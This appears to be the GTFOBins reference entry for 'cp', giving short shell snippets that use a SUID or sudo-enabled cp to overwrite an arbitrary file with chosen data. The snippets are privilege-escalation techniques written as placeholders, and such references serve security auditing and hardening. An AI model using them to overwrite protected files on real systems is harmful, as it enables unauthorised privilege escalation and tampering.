GTFOBins.github.io/_gtfobins/cp.md
2018-10-05 18:55:38 +01:00

17 lines
391 B
Markdown

---
description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
functions:
suid:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE
sudo:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
---